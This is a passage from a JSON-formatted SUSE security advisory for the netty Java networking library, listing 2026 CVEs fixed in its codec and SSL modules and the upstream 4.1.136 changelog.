exhaustion in `io.netty:netty-codec-haproxy` (bsc#1272253).\n- CVE-2026-56745: memory exhaustion in `io.netty:netty-codec-http` (bsc#1272254).\n- CVE-2026-56746: improper access control in `io.netty:netty-codec-http` (CORS) (bsc#1272255).\n- CVE-2026-56817: insecure defaults in XML parsing in `io.netty:netty-codec-xml` (bsc#1272257).\n- CVE-2026-56818: memory leak in `io.netty:netty-codec-redis` (bsc#1272603).\n- CVE-2026-56819: memory leak in `io.netty:netty-codec-http2` (bsc#1272258).\n- CVE-2026-56820: improper certificate validation in `io.netty:netty-handler-ssl-ocsp` (bsc#1272259).\n- CVE-2026-56821: improper certificate revocation check in `io.netty:netty-handler-ssl-ocsp` (bsc#1272299).\n- CVE-2026-56822: time-of-check/time-of-use in `io.netty:netty-handler-ssl-ocsp` (bsc#1272300).\n- CVE-2026-59898: protocol version confusion in `io.netty:netty-codec-http` (websocket) (bsc#1272302).\n- CVE-2026-59899: memory exhaustion in `io.netty:netty-codec-http` (bsc#1272301).\n- CVE-2026-59900: improper header neutralization in `io.netty:netty-codec-http2` (bsc#1272303).\n- CVE-2026-59901: infinite loop in `io.netty:netty-codec-compression` (bzip2) (bsc#1272304).\n- CVE-2026-59919: improper CR/LF neutralization in `io.netty:netty-codec-haproxy` (bsc#1272305).\n- CVE-2026-59920: improper CR/LF neutrolization in `io.netty:netty-codec-stomp` (bsc#1272306).\n- CVE-2026-59921: improper CR/LF neutralization in `io.netty:netty-codec-http` (multipart) (bsc#1272307).\n- Memory leak in `io.netty:netty-codec-dns`  (bsc#1272519).\n- Uncontrolled resource consumption in `io.netty:netty-codec-xml` (bsc#1272518).\n\nOther updates and bugfixes:\n\n- Upgrade to upstream version 4.1.136:\n  + SingleThreadEventExecutor: document Throwable safety contract\n    on run()\n  + Make HTTP/2 frame hashCode consistent with equals\n  + Add BlockHound exception for DnsQueryIdSpace (#16896)\n  + FlowControlHandler: Fix autoRead behavior\n  + Fix incorrect bounds in error message of\n    HpackDecoder.setMaxHeaderListSize\n  + MQTT: Fix MQTT decoder size check after variable header replay\n  + MQTT: Make the decodeProperties early-REPLAY check actually\n    fire\n  + Reject control characters at the boundary of HTTP method names\n    (#16723)\n  + Update to latest tcnative release\n  + Fix HTTP 2 PUSH_PROMISE stream association validation\n  + Fix GZIP FEXTRA extra-field handling in JdkZlibDecoder\n  + Add opt-in validation of mandatory pseudo-header fields for\n    HTTP/2\n  + Strictly validate MQTT UTF-8 Encoded String (#16939)\n  + Stop DateFormatter trailing token from running past the parse\n    end\n  + IpFilter: Deprecate constructor which use accept by default\n  + Add RFC 10008 QUERY Method support (#16966)\n  + Correctly release and fail queued traffic-shaping writes on\n    close (#16959)\n  + FlowControlHandler: respect auto-read when toggled while\n    dequeueing\n  + IdleStateHandler: reset firstWriter/ReaderIdleEvent in\n    resetWriteTimeout/resetReadTimeout (#16982)\n  + Fix typo in AbstractSniHandler Javadoc\n  + Reconcile AbstractCoalescingBufferQueue readableBytes when it\n    drains, and fail stuck HTTP/2 streams instead of spinning\n    empty DATA frames\n  + Reject control characters at the boundary of the HTTP version\n    token (#16971)\n  + Reset UTF-8 decode state on CR in StompSubframeDecoder\n  + HTTP2: Pass the correct number of arguments when logging\n    goaway\n  + FastLz: Guard decompression against truncated input (#17000)\n  + Fix propagation of startTls for client SslContext handler\n  + Reject non-token characters in HTTP/2 header names\n  + Update lz4-java to 1.11.1\n  + Pin github actions to reduce risk (#17043)\n  + Merge branches from forks (#17063)\n","status":"published","published":"2026-08-04T11:46:42Z","modified":"2026-08-05T18:23:51.045558593Z","updated_at":"2026-11-02T15:54:04.987808Z"}]}}